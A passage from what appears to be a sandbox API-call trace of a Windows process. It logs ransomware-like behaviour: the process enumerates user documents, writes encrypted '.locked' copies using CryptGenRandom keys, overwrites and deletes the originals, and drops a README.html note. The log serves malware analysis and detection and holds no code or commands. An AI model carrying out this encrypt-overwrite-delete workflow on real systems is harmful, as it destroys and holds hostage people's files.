	[0073.750] SetEvent (hEvent=0x80) returned 1
	[0073.751] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4e, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee83c*=0x4e) returned 1
	[0073.752] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\5Szp_wWr9PENCj1pF.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\5szp_wwr9pencj1pf.odt")) returned 1
	[0073.769] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.770] SetEvent (hEvent=0xa8) returned 1
	[0073.770] SetEvent (hEvent=0x8c) returned 1
	[0073.774] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.775] SetEvent (hEvent=0x8c) returned 1
	[0073.775] SetEvent (hEvent=0x80) returned 1
	[0073.775] SetEvent (hEvent=0xb4) returned 1
	[0073.775] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.775] SetEvent (hEvent=0xb4) returned 1
	[0073.777] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.777] SetEvent (hEvent=0xb4) returned 1
	[0073.777] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.777] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.778] SetEvent (hEvent=0xb4) returned 1
	[0073.778] SetEvent (hEvent=0x80) returned 1
	[0073.778] SetEvent (hEvent=0x8c) returned 1
	[0073.778] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.778] SetEvent (hEvent=0x8c) returned 1
	[0073.778] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\5Szp_wWr9PENCj1pF.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\5szp_wwr9pencj1pf.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.779] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0073.779] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0073.795] CloseHandle (hObject=0xc0) returned 1
	[0073.803] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\5Szp_wWr9PENCj1pF.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\5szp_wwr9pencj1pf.odt")) returned 1
	[0073.812] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\TuDvm7tzErY-EDSrF.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\tudvm7tzery-edsrf.odp"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf388420, ftCreationTime.dwHighDateTime=0x1d4d1a8, ftLastAccessTime.dwLowDateTime=0xbd2bcc30, ftLastAccessTime.dwHighDateTime=0x1d4d2fd, ftLastWriteTime.dwLowDateTime=0xbd2bcc30, ftLastWriteTime.dwHighDateTime=0x1d4d2fd, nFileSizeHigh=0x0, nFileSizeLow=0x8506)) returned 1
	[0073.812] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\TuDvm7tzErY-EDSrF.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\tudvm7tzery-edsrf.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.812] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0073.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\TuDvm7tzErY-EDSrF.odp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\tudvm7tzery-edsrf.odp.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0073.813] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0073.813] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c2e0 | out: pbBuffer=0x1238c2e0) returned 1
	[0073.813] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961e0 | out: pbBuffer=0x127961e0) returned 1
	[0073.813] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0073.813] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0073.816] SetEvent (hEvent=0x80) returned 1
	[0073.816] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x8506, lpOverlapped=0x0) returned 1
	[0073.817] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x8506, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x8506, lpOverlapped=0x0) returned 1
	[0073.818] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0073.818] CloseHandle (hObject=0xc4) returned 1
	[0073.819] CloseHandle (hObject=0xc0) returned 1
	[0073.819] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0073.820] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.820] SetEvent (hEvent=0x80) returned 1
	[0073.820] SetEvent (hEvent=0x8c) returned 1
	[0073.820] SetEvent (hEvent=0xb4) returned 1
	[0073.820] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.820] SetEvent (hEvent=0xa8) returned 1
	[0073.820] SetEvent (hEvent=0xb4) returned 1
	[0073.821] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4e, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee83c*=0x4e) returned 1
	[0073.822] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\TuDvm7tzErY-EDSrF.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\tudvm7tzery-edsrf.odp")) returned 1
	[0073.840] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.841] SetEvent (hEvent=0xa8) returned 1
	[0073.841] SetEvent (hEvent=0x8c) returned 1
	[0073.845] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.845] SetEvent (hEvent=0x8c) returned 1
	[0073.845] SetEvent (hEvent=0xb4) returned 1
	[0073.845] SetEvent (hEvent=0x80) returned 1
	[0073.845] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.846] SetEvent (hEvent=0x80) returned 1
	[0073.847] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.847] SetEvent (hEvent=0x80) returned 1
	[0073.848] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.848] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.848] SetEvent (hEvent=0x80) returned 1
	[0073.848] SetEvent (hEvent=0xb4) returned 1
	[0073.848] SetEvent (hEvent=0x8c) returned 1
	[0073.848] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.848] SetEvent (hEvent=0x8c) returned 1
	[0073.849] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\TuDvm7tzErY-EDSrF.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\tudvm7tzery-edsrf.odp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.849] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0073.850] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0073.865] CloseHandle (hObject=0xc0) returned 1
	[0073.874] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\TuDvm7tzErY-EDSrF.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\tudvm7tzery-edsrf.odp")) returned 1
	[0073.883] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad577270, ftCreationTime.dwHighDateTime=0x1d4ce28, ftLastAccessTime.dwLowDateTime=0xeb245b00, ftLastAccessTime.dwHighDateTime=0x1d4d1d3, ftLastWriteTime.dwLowDateTime=0xeb245b00, ftLastWriteTime.dwHighDateTime=0x1d4d1d3, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0073.883] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0073.883] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad577270, ftCreationTime.dwHighDateTime=0x1d4ce28, ftLastAccessTime.dwLowDateTime=0xeb245b00, ftLastAccessTime.dwHighDateTime=0x1d4d1d3, ftLastWriteTime.dwLowDateTime=0xeb245b00, ftLastWriteTime.dwHighDateTime=0x1d4d1d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0073.883] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad577270, ftCreationTime.dwHighDateTime=0x1d4ce28, ftLastAccessTime.dwLowDateTime=0xeb245b00, ftLastAccessTime.dwHighDateTime=0x1d4d1d3, ftLastWriteTime.dwLowDateTime=0xeb245b00, ftLastWriteTime.dwHighDateTime=0x1d4d1d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.883] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafd2da60, ftCreationTime.dwHighDateTime=0x1d4ccc2, ftLastAccessTime.dwLowDateTime=0x52b5ac10, ftLastAccessTime.dwHighDateTime=0x1d4d017, ftLastWriteTime.dwLowDateTime=0x52b5ac10, ftLastWriteTime.dwHighDateTime=0x1d4d017, nFileSizeHigh=0x0, nFileSizeLow=0x13e51, dwReserved0=0x0, dwReserved1=0x0, cFileName="3CbWu.ods", cAlternateFileName="")) returned 1
	[0073.883] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb8ca5b0, ftCreationTime.dwHighDateTime=0x1d4d0b4, ftLastAccessTime.dwLowDateTime=0x3e848140, ftLastAccessTime.dwHighDateTime=0x1d4ce4a, ftLastWriteTime.dwLowDateTime=0x3e848140, ftLastWriteTime.dwHighDateTime=0x1d4ce4a, nFileSizeHigh=0x0, nFileSizeLow=0xdf44, dwReserved0=0x0, dwReserved1=0x0, cFileName="aqzEZW5ffU2Ui6.pps", cAlternateFileName="AQZEZW~1.PPS")) returned 1
	[0073.883] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x737b8420, ftCreationTime.dwHighDateTime=0x1d4cea4, ftLastAccessTime.dwLowDateTime=0xfdf03e50, ftLastAccessTime.dwHighDateTime=0x1d4c80c, ftLastWriteTime.dwLowDateTime=0xfdf03e50, ftLastWriteTime.dwHighDateTime=0x1d4c80c, nFileSizeHigh=0x0, nFileSizeLow=0x4e6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cw88GojW.pps", cAlternateFileName="")) returned 1
	[0073.884] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc60aea10, ftCreationTime.dwHighDateTime=0x1d4d524, ftLastAccessTime.dwLowDateTime=0x84df6ca0, ftLastAccessTime.dwHighDateTime=0x1d4d37b, ftLastWriteTime.dwLowDateTime=0x84df6ca0, ftLastWriteTime.dwHighDateTime=0x1d4d37b, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dp2TlVTx1xkc.doc", cAlternateFileName="DP2TLV~1.DOC")) returned 1
	[0073.884] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c2b3b00, ftCreationTime.dwHighDateTime=0x1d4ccb5, ftLastAccessTime.dwLowDateTime=0x6347f200, ftLastAccessTime.dwHighDateTime=0x1d4d354, ftLastWriteTime.dwLowDateTime=0x6347f200, ftLastWriteTime.dwHighDateTime=0x1d4d354, nFileSizeHigh=0x0, nFileSizeLow=0x7833, dwReserved0=0x0, dwReserved1=0x0, cFileName="WkAG.ods", cAlternateFileName="")) returned 1
	[0073.884] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0073.884] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0073.884] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.884] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeccc | out: lpMode=0x127eeccc) returned 0
	[0073.885] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eecbc, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eecbc*=0xc5a, lpOverlapped=0x0) returned 1
	[0073.885] CloseHandle (hObject=0xc0) returned 1
	[0073.886] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12508000*, nNumberOfCharsToWrite=0x61, lpNumberOfCharsWritten=0x127ee84c, lpReserved=0x0 | out: lpBuffer=0x12508000*, lpNumberOfCharsWritten=0x127ee84c*=0x61) returned 1
	[0073.887] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\3CbWu.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\3cbwu.ods"), fInfoLevelId=0x0, lpFileInformation=0x123fc3c8 | out: lpFileInformation=0x123fc3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafd2da60, ftCreationTime.dwHighDateTime=0x1d4ccc2, ftLastAccessTime.dwLowDateTime=0x52b5ac10, ftLastAccessTime.dwHighDateTime=0x1d4d017, ftLastWriteTime.dwLowDateTime=0x52b5ac10, ftLastWriteTime.dwHighDateTime=0x1d4d017, nFileSizeHigh=0x0, nFileSizeLow=0x13e51)) returned 1
	[0073.887] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\3CbWu.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\3cbwu.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.888] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0073.888] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\3CbWu.ods.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\3cbwu.ods.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0073.888] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0073.888] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3a0 | out: pbBuffer=0x1238c3a0) returned 1
	[0073.888] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796340 | out: pbBuffer=0x12796340) returned 1
	[0073.888] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0073.889] WriteFile (in: hFile=0xc4, lpBuffer=0x12691000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x12691000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0073.891] SetEvent (hEvent=0xb4) returned 1
	[0073.891] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x13e51, lpOverlapped=0x0) returned 1
	[0073.893] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x13e51, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x13e51, lpOverlapped=0x0) returned 1
	[0073.894] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0073.894] CloseHandle (hObject=0xc4) returned 1
	[0073.896] CloseHandle (hObject=0xc0) returned 1
	[0073.896] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.896] SetEvent (hEvent=0xb4) returned 1
	[0073.896] SetEvent (hEvent=0x8c) returned 1
	[0073.896] SetEvent (hEvent=0x80) returned 1
	[0073.896] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.897] SetEvent (hEvent=0x80) returned 1
	[0073.897] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1240a000*, nNumberOfCharsToWrite=0x55, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x1240a000*, lpNumberOfCharsWritten=0x127ee7d8*=0x55) returned 1
	[0073.898] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\3CbWu.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\3cbwu.ods")) returned 1
	[0073.917] SetEvent (hEvent=0x8c) returned 1
	[0073.922] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.922] SetEvent (hEvent=0x8c) returned 1
	[0073.922] SetEvent (hEvent=0x80) returned 1
	[0073.922] SetEvent (hEvent=0xb4) returned 1
	[0073.922] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.922] SetEvent (hEvent=0xa8) returned 1
	[0073.922] SetEvent (hEvent=0xb4) returned 1
	[0073.924] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.924] SetEvent (hEvent=0xb4) returned 1
	[0073.925] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.925] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.925] SetEvent (hEvent=0xb4) returned 1
	[0073.925] SetEvent (hEvent=0x80) returned 1
	[0073.925] SetEvent (hEvent=0x8c) returned 1
	[0073.925] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.926] SetEvent (hEvent=0x8c) returned 1
	[0073.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\3CbWu.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\3cbwu.ods"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.926] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0073.927] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0073.943] CloseHandle (hObject=0xc0) returned 1
	[0073.951] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\3CbWu.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\3cbwu.ods")) returned 1
	[0074.032] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\Dp2TlVTx1xkc.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\dp2tlvtx1xkc.doc"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc60aea10, ftCreationTime.dwHighDateTime=0x1d4d524, ftLastAccessTime.dwLowDateTime=0x84df6ca0, ftLastAccessTime.dwHighDateTime=0x1d4d37b, ftLastWriteTime.dwLowDateTime=0x84df6ca0, ftLastWriteTime.dwHighDateTime=0x1d4d37b, nFileSizeHigh=0x0, nFileSizeLow=0x4d6)) returned 1
	[0074.032] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\Dp2TlVTx1xkc.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\dp2tlvtx1xkc.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0074.032] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0074.067] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\V7fxtVeHfHqqJ_txoS\\Dp2TlVTx1xkc.doc.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\v7fxtvehfhqqj_txos\\dp2tlvtx1xkc.doc.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0074.068] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0074.099] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c320 | out: pbBuffer=0x1238c320) returned 1
	[0074.099] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796210 | out: pbBuffer=0x12796210) returned 1
	[0074.099] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0074.099] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0074.101] SetEvent (hEvent=0x80) returned 1
	[0074.101] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x4d6, lpOverlapped=0x0) returned 1
